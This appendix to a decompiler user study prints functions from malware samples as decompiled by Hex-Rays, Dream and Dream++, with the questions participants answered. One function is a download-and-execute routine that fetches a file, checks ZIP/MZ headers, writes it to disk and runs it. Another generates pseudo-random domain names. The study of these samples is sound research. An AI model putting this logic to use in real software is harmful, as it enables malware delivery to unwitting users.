45 if(v18 < 65 || v18 > 90)

46 v19 = v18;

47 else

48 v19 = v18 + 32;

49 v20 = v17 - v19;

50 if(v20)

51 break;

52 v11++;

53 }while(v11 < v14);

54 if(v20 || v20){

55 v4 = v5;

56 v10 = v9;

57 } else

58 v4 = v5;

59 }

60 }

61 }

62 if(cond1 || !a2 || v12 != v13 || (v20 && !cond2) || (v20 && !cond2)){

63 int v21 = v6 + 1;

64 v8 = v10 + 4;

65 v6 = v21;

66 v9 = v10 + 4;

67 if(v21 >= v3)

68 break;

69 } else

70 return *(*(v4 + 28) + (*(*(v4 + 36) + (v6 * 2) + a1) * 4) + a1) + a1;

71 }

72 }

73 return 0;

74 }

A.3.3 Dream++

Listing A.9 shows the decompiled code produced by Dream
++ for the third task. For this

task, the following questions were asked:

1. For each iteration of the loop that starts at line 10, variable str gets a pointer to a string.

What happens at line 14?

2. What happens at line 20?

3. What are the data types of the parameters and what are their meanings?

4. What is the condition under which line 22 will be executed?
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Listing A.9: Decompiled code generated by Dream
++ for Task 3

1 int sub_408A70(void * a1, const char * str1){

2 int v1 = *(*(a1 + 60) + a1 + 120);

3 int v2 = *(v1 + a1 + 24);

4 void * v3 = v1 + a1;

5 int counter1 = 0;

6 if(v2 != 0){

7 int v4 = *(v3 + 32);

8 void * v5 = v4 + a1;

9 void * v6 = v4 + a1;

10 do{

11 v6 = v5;

12 const char * str = *v6 + a1;

13 if(str != 0 && str1 != 0){

14 size_t len = strlen(str);

15 if(len == strlen(str1)){

16 int v7 = len + str;

17 bool cond1 = str >= v7;

18 int v8;

19 if(!cond1)

20 v8 = strncmpi(str, str1, v7 - str);

21 if(cond1 || v8 == 0)

22 return *(*(v3 + 28) + (*(*(v3 + 36) + (counter1 * 2) + a1) * 4) + a1) + a1;

23 }

24 }

25 counter1++;

26 v5 = v6 + 4;

27 v6 += 4;

28 }while(counter1 < v2);

29 }

30 return 0;

31 }

A.4 Task 4

A.4.1 Hex-Rays

Listing A.10 shows the decompiled code produced by Hex-Rays for the fourth task. For this

task, the following questions were asked:

1. What are the data types of the parameters?

2. What is the purpose of this function?

3. What is stored in the return value (variable v10)?
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4. What are the values that the arguments a1 and a2 points to after executing the function

with the input string a1 = "The quick brown %FOX% jumps over the lazy dog"?

5. What are the values that the arguments a1 and a2 points to after executing the function

with the input string a1 = "The %QU1CK% brown %FOX% jumps %OVER% the lazy dog"?

6. What are the values that the arguments a1 and a2 points to after executing the function

with the input string a1 = "My %P@SSWORD% is %INFECTED%"?

Listing A.10: Decompiled code generated by Hex-Rays for Task 4

1 int __usercall sub_404E14@<eax>(int a1@<eax>, int a2@<edx>)

2 {

3 int v2; // ebx@1

4 int v3; // eax@2

5 int v4; // edi@3

6 int v5; // esi@3

7 int v6; // eax@3

8 bool v7; // dl@10

9 int v9; // [sp+Ch] [bp-Ch]@3

10 int v10; // [sp+10h] [bp-8h]@1

11 int v11; // [sp+14h] [bp-4h]@1

12

13 v11 = a2;

14 v2 = a1;

15 v10 = 0;

16 if ( !a1 )

17 return v10;

18 v3 = strlen(a1);

19 if ( v3 < 3 )

20 return v10;

21 v4 = 0;

22 v9 = 0;

23 v5 = v3;

24 v6 = 0;

25 while ( 1 )

26 {

27 if ( *(v2 + v6) != ’%’ )

28 {

29 v7 = (*(v2 + v6) - 0x30) < 0xAu || (*(v2 + v6) - 0x41) < 0x1Au;

30 if ( !v7 )

31 {

32 v4 = 0;

33 v9 = 0;

34 }

35 goto LABEL_14;

36 }

37 if ( v4 )
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38 break;

39 v4 = v2 + v6;

40 LABEL_14:

41 ++v6;

42 --v5;

43 if ( !v5 )

44 goto LABEL_15;

45 }

46 v9 = v2 + v6;

47 LABEL_15:

48 if ( v4 && v9 )

49 {

50 *v11 = v9 - v4 + 1;

51 v10 = v4;

52 }

53 return v10;

54 }

A.4.2 Dream

Listing A.11 shows the decompiled code produced by Dream for the fourth task. For this task,

the following questions were asked:

1. What are the data types of the parameters?

2. What is the purpose of this function?

3. What is stored in the return value (variable result)?

4. What are the values that the arguments str and a1 points to after executing the function

with the input string str = "The quick brown %FOX% jumps over the lazy dog"?

5. What are the values that the arguments str and a1 points to after executing the function

with the input string str = "The %QU1CK% brown %FOX% jumps %OVER% the lazy dog"?

6. What are the values that the arguments str and a1 points to after executing the function

with the input string str = "My %P@SSWORD% is %INFECTED%"?

Listing A.11: Decompiled code generated by Dream for Task 4

1 int sub_404E14(const char * str, void * a1){

2 int result = 0;

3 if(!str)

4 return result;
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5 size_t len = strlen(str);

6 if(len < 3)

7 return result;

8 int v1 = 0;

9 int v2 = 0;

10 int v3 = len;

11 int v4 = 0;

12 do{

13 if(*(str + v4) != 37){

14 char v5 = *(str + v4);

15 if(v5 - 48 >= 10 && v5 - 65 >= 26){

16 v1 = 0;

17 v2 = 0;

18 }

19 } else{

20 if(v1){

21 v2 = str + v4;

22 break;

23 }

24 v1 = str + v4;

25 }

26 v4++;

27 v3--;

28 }while(v3);

29 if(!v1 || !v2)

30 return result;

31 *a1 = v2 - v1 + 1;

32 result = v1;

33 return result;

34 }

A.4.3 Dream++

Listing A.12 shows the decompiled code produced by Dream
++ for the fourth task. For this

task, the following questions were asked:

1. What are the data types of the parameters?

2. What is the purpose of this function?

3. What is stored in the return value (variable result)?

4. What are the values that the arguments str and a1 points to after executing the function

with the input string str = "The quick brown %FOX% jumps over the lazy dog"?

5. What are the values that the arguments str and a1 points to after executing the function

with the input string str = "The %QU1CK% brown %FOX% jumps %OVER% the lazy dog"?
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6. What are the values that the arguments str and a1 points to after executing the function

with the input string str = "My %P@SSWORD% is %INFECTED%"?

Listing A.12: Decompiled code generated by Dream
++ for Task 4

1 int sub_404E14(const char * str, void * a1){

2 int result = 0;

3 if(str == 0)

4 return result;

5 size_t len = strlen(str);

6 if(len < 3)

7 return result;

8 int v1 = 0;

9 int v2 = 0;

10 int index = 0;

11 do{

12 if(str[index] != ’%’){

13 char v3 = str[index];

14 if((v3 < 48 || v3 >= 58) && (v3 < 65 || v3 >= 91)){

15 v1 = 0;

16 v2 = 0;

17 }

18 } else{

19 if(v1 != 0){

20 v2 = str + index;

21 break;

22 }

23 v1 = str + index;

24 }

25 index++;

26 len--;

27 }while(len != 0);

28 if(v1 == 0 || v2 == 0)

29 return result;

30 *a1 = v2 - v1 + 1;

31 result = v1;

32 return result;

33 }

A.5 Task 5

A.5.1 Hex-Rays

Listing A.13 shows the decompiled code produced by Hex-Rays for the fifth task. For this task,

the following questions were asked:
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1. What is the purpose of this function?

2. How many download attempts are possible?

3. What kind of files are being downloaded?

4. When will the CreateFileW function be called? (What marks a successful download)

5. What outcome results in which return code (variable v12)?

Listing A.13: Decompiled code generated by Hex-Rays for Task 5

1 int __userpurge sub_7FF92573@<eax>(int ebx0@<ebx>, int a1)

2 {

3 int v2; // ebp@0

4 int v3; // edi@1

5 int v4; // ebx@13

6 int v5; // eax@15

7 int v7; // [sp+8h] [bp-60h]@15

8 int v8; // [sp+4Ch] [bp-1Ch]@15

9 int v9; // [sp+50h] [bp-18h]@17

10 int v10; // [sp+5Ch] [bp-Ch]@15

11 int v11; // [sp+60h] [bp-8h]@1

12 int v12; // [sp+64h] [bp-4h]@1

13

14 v11 = 5;

15 v12 = 0x40;

16 v3 = requestUpdate(ebx0, a1, 0, 0, 1);

17 if ( v3 == -1 )

18 return v12;

19 while ( 1 )

20 {

21 if ( !v3 )

22 goto LABEL_9;

23 if ( *v3 == ’KP’ )

24 break;

25 if ( *v3 == ’ZM’ )

26 goto LABEL_13;

27 FreeHeap(v3);

28 v12 = 0x41;

29 LABEL_9:

30 --v11;

31 if ( v11 )

32 {

33 Sleep(3000);

34 v12 = 0x40;

35 v3 = requestUpdate(ebx0, a1, 0, 0, 1);

36 if ( v3 != -1 )

37 continue;

38 }
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39 return v12;

40 }

41 v12 = 0x42;

42 ebx0 = unzipDownload(v2, v3);

43 FreeHeap(v3);

44 if ( !ebx0 )

45 goto LABEL_9;

46 v12 = 0x43;

47 if ( *ebx0 != ’ZM’ )

48 {

49 FreeHeap(ebx0);

50 goto LABEL_9;

51 }

52 v3 = ebx0;

53 LABEL_13:

54 SetFileAttributesW(lpFileName, 128);

55 DeleteFileW(lpFileName);

56 v4 = CreateFileW(lpFileName, 0x40000000, 0, 0, 2, 36, 0);

57 if ( v4 == -1 )

58 {

59 v12 = 0x45;

60 }

61 else

62 {

63 v5 = ReallocHeap(v3);

64 WriteFile(v4, v3, v5, &v10, 0);

65 CloseHandle(v4);

66 memset(&v7, 0x44u);

67 v7 = 0x44;

68 if ( CreateProcessW(0, lpFileName, 0, 0, 0, 0, 0, 0, &v7, &v8) )

69 {

70 v12 = 0;

71 CloseHandle(v9);

72 CloseHandle(v8);

73 }

74 else

75 {

76 v12 = 0x46;

77 }

78 }

79 FreeHeap(v3);

80 return v12;

81 }

This code in this task calls other functions in the malware sample and thus they were

explained as follows:

requestUpdate(buf, url, a1, a2, a3). This function tries to download a file from

the Internet and has the following interface:
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• Parameters

– buf: a pointer to the buffer that receives the downloaded file.

– url: a pointer to a string value that contains the URL to download.

– a1, a2, a3: irrelevant for this task.

• Return value: If the download succeeds, the function returns a pointer to buffer that con-

tains the downloaded data. If there is no Internet connectivity, it returns -1. If download

fails it returns 0.

unzipDownload(a1, buf). This function decompresses a compressed buffer and has the

following interface.

• Parameters

– a1: irrelevant for this task.

– buf: a pointer to the buffer that contains the compressed data. The function decom-

presses this buffer in place. That is, the original compressed data will be replaced

by the decompressed data.

• Return value: If decompression succeeds, the function returns a pointer to the buffer

containing the decompressed data (same as buf). Otherwise, it returns 0.

A.5.2 Dream

Listing A.14 shows the decompiled code produced by Dream for the fifth task. For this task,

the following questions were asked:

1. What is the purpose of this function?

2. How many download attempts are possible?

3. What kind of files are being downloaded?

4. When will the CreateFileW function be called? (What marks a successful download)

5. What outcome results in which return code (variable result)?
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Listing A.14: Decompiled code generated by Dream for Task 5

1 int sub_7FF92573(void * a1, int a2){

2 int v1 = 5;

3 int result = 64;

4 void * v2 = requestUpdate(a1, a2, 0, 0, 1);

5 LPCVOID lpBuffer = v2;

6 if(v2 == -1)

7 return result;

8 while(1){

9 bool cond1 = !lpBuffer;

10 bool cond2 = false;

11 void * v4;

12 short v3;

13 if(!cond1){

14 v3 = *lpBuffer;

15 if(v3 == 0x4b50){

16 result = 66;

17 v4 = unzipDownload(lpBuffer);

18 a1 = v4;

19 FreeHeap(lpBuffer);

20 if(v4){

21 result = 67;

22 cond2 = *v4 == 0x5a4d;

23 if(cond2)

24 lpBuffer = v4;

25 else

26 FreeHeap(v4);

27 }

28 } else if(v3 != 0x5a4d){

29 FreeHeap(lpBuffer);

30 result = 65;

31 }

32 }

33 if(!cond1

34 && (v3 != 0x4b50 || cond2)

35 && (v3 != 0x4b50 || v4)

36 && (v3 == 0x5a4d || v3 == 0x4b50)){

37 SetFileAttributesW(lpFileName, 128);

38 DeleteFileW(lpFileName);

39 HANDLE hFile = CreateFileW(lpFileName, 0x40000000, 0, 0, 2, 36, 0);

40 if(hFile != -1){

41 DWORD NumberOfBytesWritten;

42 WriteFile(hFile, lpBuffer, ReallocHeap(lpBuffer), &NumberOfBytesWritten, 0);

43 STARTUPINFOW StartupInfo;

44 HANDLE ProcessInformation;

45 CloseHandle(hFile);

46 memset(&StartupInfo, 68);

47 BOOL v5 = CreateProcessW(0, lpFileName, 0, 0, 0, 0, 0, 0, &StartupInfo, &

ProcessInformation);

48 if(v5){
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49 result = 0;

50 HANDLE hObject;

51 CloseHandle(hObject);

52 CloseHandle(ProcessInformation);

53 } else

54 result = 70;

55 } else

56 result = 69;

57 FreeHeap(lpBuffer);

58 return result;

59 } else{

60 v1--;

61 if(!v1)

62 return result;

63 Sleep(3000);

64 result = 64;

65 void * v6 = requestUpdate(a1, a2, 0, 0, 1);

66 lpBuffer = v6;

67 if(v6 == -1)

68 break;

69 }

70 }

71 return result;

72 }

The same explanation for the called internal functions was provided as in Section A.5.1.

A.5.3 Dream++

Listing A.15 shows the decompiled code produced by Dream
++ for the fifth task. For this

task, the following questions were asked:

1. What is the purpose of this function?

2. How many download attempts are possible?

3. What kind of files are being downloaded?

4. When will the CreateFileW function be called? (What marks a successful download)

5. What outcome results in which return code (variable result)?

Listing A.15: Decompiled code generated by Dream
++ for Task 5

1 const int ZIP_FILE_SIGNATURE = 0x4b50;

2 const int EXE_FILE_MZ_HEADER = 0x5a4d;

3



Code Snippets in the User Study 145

4 int sub_7FF92573(void * a1, int a2){

5 int counter1 = 5;

6 int result = 64;

7 LPCVOID lpBuffer = requestUpdate(a1, a2, 0, 0, 1);

8 if(lpBuffer != -1){

9 bool cond2 = false;

10 short v2;

11 bool cond1 = false;

12 void * v1;

13 do{

14 cond1 = lpBuffer == 0;

15 if(!cond1){

16 v2 = *lpBuffer;

17 if(v2 != ZIP_FILE_SIGNATURE){

18 if(v2 == EXE_FILE_MZ_HEADER)

19 break;

20 FreeHeap(lpBuffer);

21 result = 65;

22 } else{

23 result = 66;

24 a1 = unzipDownload(lpBuffer);

25 FreeHeap(lpBuffer);

26 if(a1 != 0){

27 result = 67;

28 cond2 = *a1 == EXE_FILE_MZ_HEADER;

29 if(cond2){

30 lpBuffer = a1;

31 break;

32 }

33 FreeHeap(a1);

34 }

35 }

36 }

37 counter1--;

38 if(counter1 != 0){

39 Sleep(3000);

40 result = 64;

41 v1 = requestUpdate(a1, a2, 0, 0, 1);

42 lpBuffer = v1;

43 }

44 }while(v1 != -1 && counter1 != 0);

45 if(!cond1

46 && (v2 != ZIP_FILE_SIGNATURE || cond2)

47 && (v2 != ZIP_FILE_SIGNATURE || a1 != 0)

48 && (v2 == EXE_FILE_MZ_HEADER || v2 == ZIP_FILE_SIGNATURE)){

49 SetFileAttributesW(lpFileName, 128);

50 DeleteFileW(lpFileName);

51 HANDLE hFile = CreateFileW(lpFileName, 0x40000000, 0, 0, 2, 36, 0);

52 if(hFile != -1){

53 DWORD NumberOfBytesWritten;

54 WriteFile(hFile, lpBuffer, ReallocHeap(lpBuffer), &NumberOfBytesWritten, 0);

55 STARTUPINFOW StartupInfo;
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56 HANDLE ProcessInformation;

57 CloseHandle(hFile);

58 memset(&StartupInfo, 68);

59 BOOL v3 = CreateProcessW(0, lpFileName, 0, 0, 0, 0, 0, 0, &StartupInfo, &

ProcessInformation);

60 if(v3 != 0){

61 result = 0;

62 HANDLE hObject;

63 CloseHandle(hObject);

64 CloseHandle(ProcessInformation);

65 } else

66 result = 70;

67 } else

68 result = 69;

69 FreeHeap(lpBuffer);

70 }

71 }

72 return result;

73 }

The same explanation for the called internal functions was provided as in Section A.5.1.

A.6 Task 6

A.6.1 Hex-Rays

Listing A.16 shows the decompiled code produced by Hex-Rays for the sisth task. For this

task, the following questions were asked:

1. What happens in lines 68-75 (dwSeed is a global variable of type int)?

2. Asume that the pointer &v25 at line 108 points to the string ".eu;11;U*m" (&v25 =

".eu;11;U*m"). What happens in lines 108-111?

3. How many times is the loop in lines 118-131 executed?

4. What happens in this loop?

5. What is stored in the return value (variable result)?

6. What is the purpose of this function?

Listing A.16: Decompiled code generated by Hex-Rays for Task 6
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1 void *__cdecl sub_10006390()

2 {

3 int v0; // edx@1

4 char v1; // al@1

5 char *v2; // ecx@1

6 unsigned int v3; // esi@3

7 char *v4; // edi@3

8 char v5; // dl@4

9 signed int v6; // eax@5

10 signed int v7; // ecx@5

11 signed int v8; // ecx@7

12 char *v9; // eax@11

13 void *result; // eax@12

14 const char *v11; // esi@13

15 char *v12; // eax@13

16 __int32 v13; // eax@14

17 int v14; // esi@15

18 unsigned int v15; // ecx@15

19 int v16; // edx@16

20 char *v17; // edi@18

21 bool v18; // zf@18

22 unsigned int v19; // edx@18

23 char v20; // dl@21

24 LPVOID v21; // eax@24

25 void *v22; // esi@24

26 char v23; // [sp+0h] [bp-338h]@1

27 char v24; // [sp+1h] [bp-337h]@1

28 char v25; // [sp+104h] [bp-234h]@1

29 char v26; // [sp+105h] [bp-233h]@1

30 char v27; // [sp+208h] [bp-130h]@1

31 char v28; // [sp+209h] [bp-12Fh]@1

32 __int16 v29; // [sp+308h] [bp-30h]@1

33 int v30; // [sp+30Ch] [bp-2Ch]@1

34 int v31; // [sp+310h] [bp-28h]@1

35 int v32; // [sp+314h] [bp-24h]@1

36 int v33; // [sp+318h] [bp-20h]@1

37 int v34; // [sp+31Ch] [bp-1Ch]@1

38 char v35; // [sp+320h] [bp-18h]@1

39 __int32 v36; // [sp+324h] [bp-14h]@14

40 int v37; // [sp+328h] [bp-10h]@1

41 __int16 v38; // [sp+32Ch] [bp-Ch]@1

42 char v39; // [sp+32Eh] [bp-Ah]@1

43 int i; // [sp+330h] [bp-8h]@1

44 char v41; // [sp+334h] [bp-4h]@4

45 char v42; // [sp+335h] [bp-3h]@4

46 char v43; // [sp+336h] [bp-2h]@1

47

48 v30 = *"qwrtpsdfghjklzxcvbnm";

49 v32 = *"ghjklzxcvbnm";

50 v33 = *"lzxcvbnm";

51 v31 = *"psdfghjklzxcvbnm";

52 v35 = aQwrtpsdfghjklz[20];
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53 v37 = *"eyuioa";

54 v34 = *"vbnm";

55 v38 = *"oa";

56 v39 = aEyuioa[6];

57 v23 = 0;

58 memset(&v24, 0, 0x103u);

59 v25 = 0;

60 memset(&v26, 0, 0x103u);

61 v27 = 0;

62 memset(&v28, 0, 0xFFu);

63 v0 = dwSeed;

64 v1 = ’1’;

65 v29 = ’\0’;

66 v43 = ’\0’;

67 i = 0x45AE94B2;

68 v2 = "1670cf215403c56d8859a0636ffc74";

69 do

70 {

71 ++v2;

72 v0 += v1;

73 v1 = *v2;

74 }

75 while ( *v2 );

76 dwSeed = v0;

77 v3 = 0;

78 v4 = &v25;

79 do

80 {

81 v5 = a1670cf215403c5[v3 + 1];

82 v41 = a1670cf215403c5[v3];

83 v42 = v5;

84 *v4 = strtol(&v41, 0, 16);

85 v3 += 2;

86 ++v4;

87 }

88 while ( v3 < 0x1E );

89 v6 = 0;

90 v29 = 1;

91 v7 = 0;

92 do

93 {

94 *(&v27 + v7) = v7;

95 ++v7;

96 }

97 while ( v7 < 256 );

98 v8 = 0;

99 do

100 {

101 *(&v27 + v8) ^= *(&i + v6++);

102 if ( v6 >= 4 )

103 v6 = 0;

104 ++v8;
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105 }

106 while ( v8 < 256 );

107 decrypt(&v27, 15, &v25, &v25);

108 v9 = strstr(&v25, ";"); //&v25 = ".eu;11;U*m";

109 if ( v9

110 && (*v9 = 0, v11 = v9 + 1, (v12 = strstr(v9 + 1, ";")) != 0)

111 && (*v12 = 0, v13 = strtol(v11, 0, 10), (v36 = v13) != 0) )

112 {

113 v14 = 0;

114 v15 = 3;

115 if ( v13 > 0 )

116 {

117 v16 = 1 - &v23;

118 for ( i = 1 - &v23; ; v16 = i )

119 {

120 v17 = &v23 + v14;

121 v19 = (&v23 + v14 + v16) & 0x80000001;

122 v18 = v19 == 0;

123 if ( (v19 & 0x80000000) != 0 )

124 v18 = ((v19 - 1) | 0xFFFFFFFE) == -1;

125 v20 = v18 ? *(&v37 + dwSeed / v15 % 6) : *(&v30 + dwSeed / v15 % 0x14);

126 ++v14;

127 v15 += 2;

128 *v17 = v20;

129 if ( v14 >= v36 )

130 break;

131 }

132 }

133 v21 = HeapAlloc(hHeap, 8u, 0x110u);

134 v22 = v21;

135 if ( v21 )

136 {

137 memset(v21, 0, 0x110u);

138 memset(v22, 0, 0x104u);

139 snprintf(v22, 0x104u, "%s%s", &v23, &v25);

140 }

141 result = v22;

142 }

143 else

144 {

145 result = 0;

146 }

147 return result;

148 }

A.6.2 Dream

Listing A.17 shows the decompiled code produced by Dream for the sixth task. For this task,

the following questions were asked:
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1. What happens in lines 16-21 (dwSeed is a global variable of type int)?

2. Asume that the pointer &str1 at line 48 points to the string ".eu;11;U*m" (&str1 =

".eu;11;U*m"). What happens in lines 48-59?

3. How many times is the loop in lines 63-79 executed?

4. What happens in this loop?

5. What is stored in the return value (variable result)?

6. What is the purpose of this function?

Listing A.17: Decompiled code generated by Dream for Task 6

1 LPVOID sub_10006390(){

2 int v1 = *"qwrtpsdfghjklzxcvbnm";

3 int v2 = *"eyuioa";

4 int v3 = 0;

5 int v4;

6 memset(&v4, 0, 259);

7 int str1 = 0;

8 int v5;

9 memset(&v5, 0, 259);

10 int v6 = 0;

11 int v7;

12 memset(&v7, 0, 255);

13 int v8 = dwSeed;

14 int v9 = 0x45ae94b2;

15 char v10 = 49;

16 char * v11 = "1670cf215403c56d8859a0636ffc74";

17 do{

18 v11++;

19 v8 += v10;

20 v10 = *v11;

21 }while(v10);

22 dwSeed = v8;

23 int v12 = 0;

24 char * v13 = &str1;

25 do{

26 char v14;

27 int str = v14;

28 v14 = *(v12 + (&a1670cf215403c5));

29 *v13 = strtol(&str, 0, 16);

30 v12 += 2;

31 v13++;

32 }while(v12 < 30);

33 int v15 = 0;

34 int v16 = 0;
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35 do{

36 *(v16 + (&v6)) = v16;

37 v16++;

38 }while(v16 < 256);

39 int v17 = 0;

40 do{

41 *(v17 + (&v6)) ^= *(v15 + (&v9));

42 v15++;

43 if(v15 >= 4)

44 v15 = 0;

45 v17++;

46 }while(v17 < 256);

47 decrypt(&str1, &str1);

48 char * retStr = strstr(&str1, ";"); //&str1 = ".eu;11;U*m";

49 if(!retStr)

50 return 0;

51 *retStr = 0;

52 const char * str2 = retStr + 1;

53 char * retStr1 = strstr(str2, ";");

54 if(!retStr1)

55 return 0;

56 *retStr1 = 0;

57 long int num = strtol(str2, 0, 10);

58 if(!num)

59 return 0;

60 int v18 = 0;

61 int v19 = 3;

62 if(num > 0)

63 do{

64 char * v20 = v18 + (&v3);

65 int v21 = v18 + 1;

66 int v22 = v21;

67 int v23 = v21 & 0x80000001L;

68 bool v24 = !v23;

69 if(v23 < 0)

70 v24 = !((v23 - 1) | 0xfffffffeL) + 1;

71 char v25;

72 if(!v24)

73 v25 = *(((dwSeed / v19) % 20) + (&v1));

74 else

75 v25 = *(((dwSeed / v19) % 6) + (&v2));

76 v18++;

77 v19 += 2;

78 *v20 = v25;

79 }while(v18 < num);

80 LPVOID result = HeapAlloc(hHeap, 8, 272);

81 if(result){

82 memset(result, 0, 272);

83 memset(result, 0, 260);

84 _snprintf(result, 260, "%s%s", &v3, &str1);

85 }

86 return result;
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87 }

A.6.3 Dream++

Listing A.18 shows the decompiled code produced by Dream
++ for the sixth task. For this

task, the following questions were asked:

1. What happens in lines 19-25 (dwSeed is a global variable of type int)?

2. Asume that the pointer str1 at line 44 points to the string ".eu;11;U*m" (str1 = ".eu;11;U*m").

What happens in lines 44-55?

3. How many times is the loop in lines 57-61 executed?

4. What happens in this loop?

5. What is stored in the return value (variable result)?

6. What is the purpose of this function?

Listing A.18: Decompiled code generated by Dream for Task 6

1 LPVOID sub_10006390(){

2 char * v1 = "qwrtpsdfghjklzxcvbnm";

3 char * v2 = "eyuioa";

4 char * v3;

5 *v3 = 0;

6 char * str1;

7 int v4;

8 char * v6;

9 memset(&v4, 0, 259);

10 *str1 = 0;

11 char * v9;

12 int v5;

13 memset(&v5, 0, 259);

14 *v6 = 0;

15 int v7;

16 memset(&v7, 0, 255);

17 int v8 = dwSeed;

18 *v9 = 0x45ae94b2;

19 char counter1 = 49;

20 char * v10 = "1670cf215403c56d8859a0636ffc74";

21 while(counter1 != 0){

22 v10++;

23 v8 += counter1;

24 counter1 = *v10;
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25 }

26 dwSeed = v8;

27 char * v11 = str1;

28 for(int i = 0; i < 30; i += 2){

29 char v12 = a1670cf215403c5[i];

30 char * str = v12;

31 *v11 = strtol(&str, 0, 16);

32 v11++;

33 }

34 int index = 0;

35 for(int i = 0; i < 256; i++)

36 v6[i] = i;

37 for(int i = 0; i < 256; i++){

38 v6[i] ^= v9[index];

39 index++;

40 if(index >= 4)

41 index = 0;

42 }

43 decrypt(str1, str1);

44 char * retStr = strstr(str1, ";"); //str1 = ".eu;11;U*m";

45 if(retStr == 0)

46 return 0;

47 *retStr = 0;

48 const char * str2 = retStr + 1;

49 char * retStr1 = strstr(str2, ";");

50 if(retStr1 == 0)

51 return 0;

52 *retStr1 = 0;

53 long int num = strtol(str2, 0, 10);

54 if(num == 0)

55 return 0;

56 int v13 = 3;

57 for(int i = 0; i < num; i++){

58 char v14 = i % 2 == 0 ? v1[(dwSeed / v13) % 20] : v2[(dwSeed / v13) % 6];

59 v13 += 2;

60 v3[i] = v14;

61 }

62 LPVOID result = HeapAlloc(hHeap, 8, 272);

63 if(result != 0){

64 memset(result, 0, 272);

65 memset(result, 0, 260);

66 _snprintf(result, 260, "%s%s", v3, str1);

67 }

68 return result;

69 }
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